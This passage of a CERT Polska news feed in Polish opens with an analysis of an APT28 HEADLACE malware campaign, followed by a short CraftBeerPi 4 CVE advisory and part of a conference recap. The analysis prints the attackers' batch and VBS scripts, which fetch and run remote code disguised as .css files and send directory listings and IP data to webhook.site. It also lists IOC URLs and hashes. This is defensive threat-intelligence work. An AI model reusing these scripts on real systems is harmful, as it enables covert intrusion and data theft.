&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="k"&gt;echo&lt;/span&gt; off &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; On Error Resume Next
    &lt;span class="k"&gt;echo&lt;/span&gt; CreateObject(&lt;span class="s2"&gt;&amp;quot;WScript.shell&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;.Run &lt;span class="s2"&gt;&amp;quot;^&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;programdata&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;\\dee016bf-21a2-45dd-86b4-6099747794c4.bat^&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;^^&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;, 0, False
    &lt;span class="k"&gt;echo&lt;/span&gt; Set oFso = CreateObject(&lt;span class="s2"&gt;&amp;quot;Scripting.FileSystemObject&amp;quot;&lt;/span&gt;) : oFso.DeleteFile Wscript.ScriptFullName, True
&lt;span class="c1"&gt;) &amp;gt; &amp;quot;%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs&amp;quot; &amp;amp; echo del %%0 ^&amp;amp; for /l %%%%n in () do (&lt;/span&gt;
    chcp 65001 &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; timeout 300 &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; taskkill /im msedge.exe /f &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; timeout 5 &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; del /q /f &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;userprofile&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;\Downloads\*.css&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; start &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt; msedge --headless=new --disable-gpu data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93ZWJob29rLnNpdGUvZGVlMDE2YmYtMjFhMi00NWRkLTg2YjQtNjA5OTc0Nzc5NGM0Iik7PC9zY3JpcHQ+ &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; timeout 30 &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; taskkill /im msedge.exe /f &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; move /y &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;userprofile&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;\Downloads\*.css&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;programdata&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;\dee016bf-21a2-45dd-86b4-6099747794c4.cmd&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; call &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;programdata&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;\dee016bf-21a2-45dd-86b4-6099747794c4.cmd&amp;quot;&lt;/span&gt; &lt;span class="se"&gt;^&amp;amp;&lt;/span&gt; del /q /f &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;programdata&lt;/span&gt;&lt;span class="se"&gt;%%&lt;/span&gt;&lt;span class="s2"&gt;\dee016bf-21a2-45dd-86b4-6099747794c4.cmd&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;) &amp;gt; &amp;quot;%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.bat&amp;quot; &amp;amp; (&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="se"&gt;^&amp;lt;&lt;/span&gt;!DOCTYPE html&lt;span class="se"&gt;^&amp;gt;^&amp;lt;&lt;/span&gt;html&lt;span class="se"&gt;^&amp;gt;^&amp;lt;&lt;/span&gt;body&lt;span class="se"&gt;^&amp;gt;^&amp;lt;&lt;/span&gt;script&lt;span class="se"&gt;^&amp;gt;&lt;/span&gt;var xhr = new XMLHttpRequest&lt;span class="se"&gt;^(^)&lt;/span&gt;;var text = String.raw&lt;span class="se"&gt;^`&lt;/span&gt;)
&lt;span class="c1"&gt;) &amp;gt; &amp;quot;%programdata%\uaxhexd.tab&amp;quot; &amp;amp; (&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="se"&gt;^`&lt;/span&gt;;xhr.open&lt;span class="se"&gt;^(^&amp;#39;&lt;/span&gt;PUT&lt;span class="se"&gt;^&amp;#39;&lt;/span&gt;, &lt;span class="se"&gt;^&amp;#39;&lt;/span&gt;https://webhook.site/dee016bf-21a2-45dd-86b4-6099747794c4&lt;span class="se"&gt;^&amp;#39;^)&lt;/span&gt;;xhr.setRequestHeader&lt;span class="se"&gt;^(^&amp;#39;&lt;/span&gt;Content-Type&lt;span class="se"&gt;^&amp;#39;&lt;/span&gt;, &lt;span class="se"&gt;^&amp;#39;&lt;/span&gt;text/html&lt;span class="se"&gt;^&amp;#39;^)&lt;/span&gt;;xhr.send&lt;span class="se"&gt;^(&lt;/span&gt;text&lt;span class="se"&gt;^)&lt;/span&gt;;&lt;span class="se"&gt;^&amp;lt;&lt;/span&gt;/script&lt;span class="se"&gt;^&amp;gt;^&amp;lt;&lt;/span&gt;/body&lt;span class="se"&gt;^&amp;gt;^&amp;lt;&lt;/span&gt;/html&lt;span class="se"&gt;^&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;) &amp;gt; &amp;quot;%programdata%\ohqddqtqc.tsv&amp;quot; &amp;amp; start &amp;quot;&amp;quot; &amp;quot;%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs&amp;quot; &amp;amp; del %0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ten skrypt stanowi główną pętlę programu – w pętli &lt;code&gt;for /l %n in ()&lt;/code&gt; najpierw czeka 5 minut, a następnie analogicznie jak poprzednio, za pomocą przeglądarki Microsoft Edge i odwołania do &lt;code&gt;webhook.site&lt;/code&gt;, pobiera kolejny skrypt i go wykonuje. Tym razem pobierany jest plik z rozszerzeniem &lt;code&gt;.css&lt;/code&gt;, po czym następuje zmiana jego rozszerzenia na &lt;code&gt;.cmd&lt;/code&gt; i uruchomienie.&lt;/p&gt;
&lt;p&gt;Otrzymany przez nas ostatecznie skrypt zbiera wyłącznie informacje o komputerze (adres IP oraz lista plików w wybranych folderach), na którym się uruchomiły, a następnie przesyłają je do serwera C2, ale prawdopodobnie  komputery ofiar wybrane przez atakujących otrzymują inny zestaw skryptów końcowych.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="k"&gt;echo&lt;/span&gt; off
chcp 65001
taskkill /im msedge.exe /f
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;dir&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%userprofile%&lt;/span&gt;&lt;span class="s2"&gt;\..&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;dir&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%userprofile%&lt;/span&gt;&lt;span class="s2"&gt;\Desktop&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;dir&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%userprofile%&lt;/span&gt;&lt;span class="s2"&gt;\Downloads&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;dir&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%userprofile%&lt;/span&gt;&lt;span class="s2"&gt;\Documents&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;dir&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%ProgramFiles%&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;dir&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%ProgramFiles(x86)%&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; curl -k https://ipinfo.io&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\bwjxyeysed.diff&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;copy&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\*.tab&amp;quot;&lt;/span&gt; + &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\*.diff&amp;quot;&lt;/span&gt; + &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\*.tsv&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\nydgflyhuv.html&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\gjvrexfiac&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="k"&gt;/p&lt;/span&gt; &lt;span class="nv"&gt;gjvrexfiac&lt;/span&gt;&lt;span class="p"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\gjvrexfiac&amp;quot;&lt;/span&gt;
timeout 5
&lt;span class="k"&gt;start&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt; msedge --headless=new --disable-gpu &lt;span class="s2"&gt;&amp;quot;file:///&lt;/span&gt;&lt;span class="nv"&gt;%gjvrexfiac%&lt;/span&gt;&lt;span class="s2"&gt;/nydgflyhuv.html&amp;quot;&lt;/span&gt;
timeout 30
taskkill /im msedge.exe /f
&lt;span class="k"&gt;del&lt;/span&gt; /q /f &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%userprofile%&lt;/span&gt;&lt;span class="s2"&gt;\Downloads\*.css&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; /q /f &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\gjvrexfiac&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; /q /f &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\*.diff&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; /q /f &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;%programdata%&lt;/span&gt;&lt;span class="s2"&gt;\nydgflyhuv.html&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Cały przebieg ataku został pokazany na poniższym diagramie. Jego przebieg jest tożsamy z &lt;a href="https://securityintelligence.com/x-force/itg05-ops-leverage-israel-hamas-conflict-lures-to-deliver-headlace-malware/"&gt;opisywanym w przeszłości publicznie&lt;/a&gt; złośliwym oprogramowaniem HEADLACE.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2024/05/apt28-graph.png"&gt;&lt;/p&gt;
&lt;h2&gt;Rekomendacje&lt;/h2&gt;
&lt;p&gt;Podstawowym celem tej publikacji jest zakłócenie wrogich aktywności i umożliwienie wykrycia oraz analizy opisywanych działań. Zespół CERT Polska rekomenduje, aby administratorzy sieci sprawdzili, czy pracownicy organizacji nie byli obiektem ataku.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Zalecamy weryfikację odnotowanych w ostatnim czasie połączeń do domen &lt;code&gt;webhook.site&lt;/code&gt; oraz &lt;code&gt;run.mocky.io&lt;/code&gt; oraz ich obecności w otrzymywanych wiadomościach e-mail. Podkreślamy jednocześnie, że są to serwisy powszechnie wykorzystywane przez programistów i ruch do nich nie musi oznaczać infekcji. &lt;/li&gt;
&lt;li&gt;Jeśli organizacja nie korzysta z wymienionych serwisów, zalecamy rozważenie blokady wyżej wymienionych domen na urządzeniach brzegowych. &lt;/li&gt;
&lt;li&gt;Niezależnie od tego, czy korzystają Państwo z ww. serwisów, zalecamy również filtrowanie e-maili pod kątem linków w domenach &lt;code&gt;webhook.site&lt;/code&gt; oraz &lt;code&gt;run.mocky.io&lt;/code&gt;, ponieważ przypadki ich prawidłowego użycia w treści e-maila są bardzo rzadkie. &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Serwisy tego typu były już wielokrotnie wykorzystywane w kampaniach związanych z grupami APT. &lt;/p&gt;
&lt;p&gt;Jeśli istnieje podejrzenie infekcji szkodliwym oprogramowaniem, rekomendujemy odłączenie urządzenia od sieci (zarówno przewodowej, jak i bezprzewodowej) oraz niezwłoczny kontakt z właściwym zespołem CSIRT. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://csirt.gov.pl/cer/zgloszenie-incydentu/16,Zgloszenie-incydentu-do-CSIRT-GOV.html"&gt;CSIRT GOV&lt;/a&gt; – centralna administracja rządowa i infrastruktura krytyczna,&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csirt-mon.wp.mil.pl/pl/pages/zgloszenie-incydentu/"&gt;CSIRT MON&lt;/a&gt; – instytucje wojskowe,&lt;/li&gt;
&lt;li&gt;&lt;a href="https://incydent.cert.pl"&gt;CSIRT NASK&lt;/a&gt; – wszystkie pozostałe.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IOC&lt;/h2&gt;
&lt;p&gt;URL-e:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=2d07e34c-3dd3-45e8-865c-3888a65ab885
https://webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
https://webhook.site/4ba464d9-0675-4a7a-9966-8f84e93290ba
https://webhook.site/577b82c3-7249-44e9-9353-5eab106fead6
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=127df518-52be-46c5-bbb2-0479f4b9693b
https://webhook.site/127df518-52be-46c5-bbb2-0479f4b9693b
https://webhook.site/0ef0dcf7-f258-4d02-b274-cbf62a2000cf
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=c1112bb3-0e6e-4ba4-abe7-fb31388b47ad
https://webhook.site/c1112bb3-0e6e-4ba4-abe7-fb31388b47ad
https://webhook.site/3f396db1-2016-4b69-9ec3-ffc417d5f3aa
https://webhook.site/66ea3bbc-29dc-4ece-b804-71c6ec7b77b6
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=efb79108-a2b5-4cba-844d-6352bb8fad8c
https://webhook.site/efb79108-a2b5-4cba-844d-6352bb8fad8c
https://webhook.site/9c87649c-220d-425d-8331-ffc8d9b94a38
https://webhook.site/c618ea32-2923-4c12-8151-8d0002b56af0
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=f97bcee0-0d91-4503-a30c-027f1b34820f
https://webhook.site/f97bcee0-0d91-4503-a30c-027f1b34820f
https://webhook.site/9a9cdaf8-120c-4de9-b17a-d6d8e2796a3b
https://webhook.site/e13d23aa-b6f8-4491-9adc-71f7f8c438df
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=5e4c7949-30a2-4477-9e9b-e8828fc76a1b
https://webhook.site/5e4c7949-30a2-4477-9e9b-e8828fc76a1b
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=5100fcc0-f6be-4b09-8c58-5a8a6706ec4f
https://webhook.site/5100fcc0-f6be-4b09-8c58-5a8a6706ec4f
https://webhook.site/7674f06b-e435-4470-a594-6d59578c552d
https://webhook.site/dee016bf-21a2-45dd-86b4-6099747794c4
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=508da0df-7ec9-420e-b1fe-958fbbe699d1
https://webhook.site/508da0df-7ec9-420e-b1fe-958fbbe699d1
https://webhook.site/bec23763-b8d9-4191-99ba-04a4a163b4de
https://webhook.site/90fea98f-fbdb-4847-be03-409d02a43caf
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=bc349b93-b047-42f8-a421-d45e3ec94dc5
https://webhook.site/bc349b93-b047-42f8-a421-d45e3ec94dc5
https://webhook.site/5a8758c6-5702-4fea-9d5e-4fbdb6dd795f
https://webhook.site/b10bd697-1a9f-4ec7-aa2f-1fa84ad916a1
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=1658772a-4de8-4368-a604-980c90b0a1ed
https://webhook.site/1658772a-4de8-4368-a604-980c90b0a1ed
https://webhook.site/4fe5885c-f2f6-4905-8bc7-aef1a046a134
https://webhook.site/0d2dc90e-2d5e-49f8-8249-d7ab955c387a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Hashe SHA256 i nazwy plików:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;2bd9591bea6b1f4128e4819e3888b45b193d5a2722672b839ad7ae120bf9af3d IMG-1030873974629655576.zip
52b8bfbd9ef8ecfd54e71c74a7131cb7b3cc61ea01bc6ce17cbe7aef14acc948 WindowsCodecs.dll
4001498463dc8f8010ef1cc803b67ac434ff26d67d132933a187697aa2e88ef1 bcpcn.bat
158d49cce44968ddd028b1ef5ebc2a5183a31f05707f9dc699f0c47741be84db IMG-1030873974629655576.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 kpqsklcrdsonoknaote.css
7c6689f591ce2ccd6713df62d5135820f94bdbf2e035ab70e6b3c6746865a898 IMG-7214532.zip
c968f9dd1f16a435901d2b93a028a0ae2508e943c8f480935a529826deb3dbeb WindowsCodecs.dll
34cabc0ff2f216830ffe217e8f8d0fa4b7d3a167576745aba48b7e62f546207b zdesdyf.bat
e1069c8677d64226f7881e8504ed7a13f79f43f143842ea6c1c8b2cc680ed6c2 IMG-238279780.zip
43ff178e428373512b83f85db32f364fc19c9a4ac7317835bd5089915b8727b5 WindowsCodecs.dll
ca700d44db08ad2ebd52278a3b303f8c13e44847a507fb317ea5dfb6cc924a76 hjpxswjdkayzwfphx.bat
bab7e81395e1e9ee1680c3bb702c44b1b13ee5e67fa893d765284ae168de8369 IMG-238279780.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 vngradn.css
38ae06833528db02cb3a315d96ad2a664b732b5620675028a8c5e059e820514f IMG-810629002957075004.zip
ee433ddd5988ab7325b92378c6d3cb736ddb7f1bad75b939e8c931f417660129 WindowsCodecs.dll
9ddf5561562a62961a6fcac1dc49633cb79f5d3c8cc9b95fd9f87e7be70d2d35 yvrlqpkgngppjp.bat
dfd1f3229f903887f2474f361a26273dc63a6221883e86c5eea2dec9521dc081 IMG-810629002957075004.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 ovhupm.css
949b0bd52a4ed47bc4a342e5a29bff2bcdb0169d2fbf0f052509b65229e19b6e IMG-368912.zip
642315d3091a3dfba6c0ed06f119fc40d21f3d84574b53e045baf8910e1fb38c WindowsCodecs.dll
fb42a4e0f2dd293fd6e7acb8d67d67698a0ae7685bc5462685acf4c2f73d0b44 udkozfnsljmbpjs.bat
07e539373177801e3fc5427bf691c0315a23b527d39e756daad6a9fc48e846bc IMG-368912.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 wrkybdizscvb.css
5d2675572e092ba9aece8c8d0b9404b3adbd27db1312cd659ba561b86301fe73 IMG-451458326.zip
f348a0349fdec136c3ac9eaee9b8761da6bd33df82056e4dd792192731675b00 WindowsCodecs.dll
351f10d7df282afed4558d765aa5018af0711fa4f37fa7eb82716313f4848a2f illgvjrfyevoqxk.bat
85f10d3df079b4db3a83ae3c4620c58a8362df2be449f8ce830d087ab41c7a52 IMG-451458326.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 mzmtfylpywlyurkcd.css
745cfce3e0242d0d5f6765b1f74608e9086d7793b45dbd1747f2d2778dec6587 IMG-0601181.zip
598a8b918d0d2908a756475aee1e9ffaa57b110d8519014a075668b8b1182990 WindowsCodecs.dll
ef67f20ff9184cab46408b27eaf12a5941c9f130be49f1c6ac421b546dac2bac hzjtajjklr.bat
96766dfbf6c661ee3e9f750696803824a04e58402c66f208835a7acebfab1cfc IMG-0601181.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 daukbpnawvkfcjcfzu.css
4f0f9a2076b0fd14124bed08f5fc939bada528e7a8163912a4ad1ec7687029a3 IMG-89848928.zip
ae4e94c5027998f4ce17343e50b935f448e099a89266f9564bd53a069da2ca9a WindowsCodecs.dll
d714fff643d53fdd56cf9dcb3bd265e1920c4b5f34a4668b584a0619703d8a3e jxfgibtfxiewsdvmeg.bat
b3e60909036c4110eb7e3d8c0b1db5be5c164fcc32056885e4f1afe561341afd IMG-89848928.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 cvywrkrhhfzza.css
5883842c87ca6b59236257e15db983cc88d4948cf0d649455f8f393899673fcc IMG-3907894910429.zip
0873a19d278a7a8e8cff2dc2e7edbfddc650d8ea961162a6eb3cb3ea14665983 WindowsCodecs.dll
e826dc4f5c16a1802517881f32f26061a4cbc508c3f7944540a209217078aa11 bmpxjphdzwommblflx.bat
750948489ed5b92750dc254c47b02eb595c6ffcefded6f9d14c3482a96a6e793 IMG-3907894910429.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 qseybqanfkus.css
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="News"></category><category term="ostrzeżenie"></category><category term="apt"></category><category term="apt28"></category></entry><entry><title>Podatność w oprogramowaniu CraftBeerPi 4</title><link href="https://cert.pl/posts/2024/05/CVE-2024-3955/" rel="alternate"></link><published>2024-05-02T12:00:00+01:00</published><updated>2024-05-02T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-02:/posts/2024/05/CVE-2024-3955/</id><summary type="html">W oprogramowaniu CraftBeerPi 4 wykryto podatność typu Improper Input Validation (CVE-2024-3955).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu open-source CraftBeerPi 4 i utworzył dla niej rekord CVE.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3955"&gt;CVE-2024-3955&lt;/a&gt; umożliwia wykonanie dowolnego kodu z powodu braku walidacji parametru URL GET "logtime" w module "cbpi/controller/system_controller.py".&lt;/p&gt;
&lt;p&gt;Podatność dotyczy oprogramowania CraftBeerPi 4 w wersjach od 4.0.0.58 (commit 563fae9) i została usunięta w wersji 4.4.1.a1 (commit 57572c7).&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Pondzikowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>27. edycja konferencji Secure</title><link href="https://cert.pl/posts/2024/04/secure-2024/" rel="alternate"></link><published>2024-04-25T10:00:00+01:00</published><updated>2024-04-25T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-04-25:/posts/2024/04/secure-2024/</id><summary type="html">Za nami 27. edycja konferencji Secure. Były to dwa dni wypełnione wiedzą i&amp;nbsp;ważnymi dyskusjami, ale także znakomita okazja do nawiązania kontaktów z&amp;nbsp;innymi specjalistami z&amp;nbsp;dziedziny cyberbezpieczeństwa. Przestrzeń naszej konferencji to miejsce, w którym mogą się spotkać różne spojrzenia, podejścia i&amp;nbsp;aspekty (cyber)bezpieczeństwa.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/04/secure-2024/thumbnail.png" /&gt;
Za nami 27. edycja konferencji Secure. Były to dwa dni wypełnione wiedzą i&amp;nbsp;ważnymi dyskusjami, ale także znakomita okazja do nawiązania kontaktów z&amp;nbsp;innymi specjalistami z&amp;nbsp;dziedziny cyberbezpieczeństwa. Przestrzeń naszej konferencji to miejsce, w którym mogą się spotkać różne spojrzenia, podejścia i&amp;nbsp;aspekty (cyber)bezpieczeństwa.&lt;/p&gt;
&lt;h3&gt;Horyzont cyberwyzwań&lt;/h3&gt;
&lt;p&gt;Hasłem edycji 2024 był „Horyzont cyberwyzwań”. Już jednak pierwsze prezentacje zwróciły uwagę na fakt, że trzecia dekada dwudziestego pierwszego wieku to najwyższy czas, żeby przestać postrzegać cyberbezpieczeństwo jako dziedzinę oderwaną od „rzeczywistości”. W czasach, kiedy każdy nosi komputer w kieszeni, cyberbezpieczeństwo to po prostu bezpieczeństwo. Kropka. &lt;/p&gt;
&lt;h3&gt;Dzień pierwszy&lt;/h3&gt;
&lt;h4&gt;Ścieżka plenarna&lt;/h4&gt;
&lt;p&gt;Przekonanie to bardzo mocno wybrzmiało podczas ścieżki plenarnej. Już podczas otwarcia konferencji wspomniał o tym Dyrektor NASK Radosław Nielek, temat kontynuował premier Krzysztof Gawkowski, a Mapa Trendów Natalii Hatalskiej wprost wspominała o tym, że zmierzamy w kierunku świata, w którym technologia będzie jeszcze mocniej zintegrowana z codziennością. &lt;/p&gt;
&lt;p&gt;Pierwszy blok prezentacji zamknął kierownik CERT Polska – Sebastian Kondraszuk, prezentując nasz raport roczny. On także zwracał uwagę na fakt, że cyberbezpieczeństwo dotyczy każdego obywatela. &lt;/p&gt;
&lt;p&gt;Drugi blok poświęcony był bardzo ważnemu tematowi, czyli cyberbezpieczeństwu w obliczu konfliktów na świecie, w tym tuż za naszą granicą oraz przeciwdziałaniu dezinformacji. &lt;/p&gt;
&lt;h4&gt;Ścieżka techniczna i ścieżka samorządowa/policy&lt;/h4&gt;
&lt;p&gt;Po obiedzie prelekcje podzielone były na dwie ścieżki: techniczną i samorządową/policy. Z dumą zauważamy, że ścieżka techniczna była zdominowana przez naszych specjalistów. Bartosz Trybus, Krzysztof Szafarski, Jarosław Jedynak, Krzysztof Zając i Filip Marczewski dzielili się wnioskami z codziennej pracy i prezentowali narzędzia, które rozwijają w CERT Polska. &lt;/p&gt;
&lt;p&gt;Choć druga ścieżka skupiona była głównie na rozwiązaniach prawnych, również tam nie zabrakło naszego przedstawiciela. Szymon Sidoruk brał czynny udział w debacie dotyczącej UZNKE, prezentując perspektywę osób odbierających zgłoszenia dotyczące nadużyć. &lt;/p&gt;
&lt;h4&gt;Networking&lt;/h4&gt;
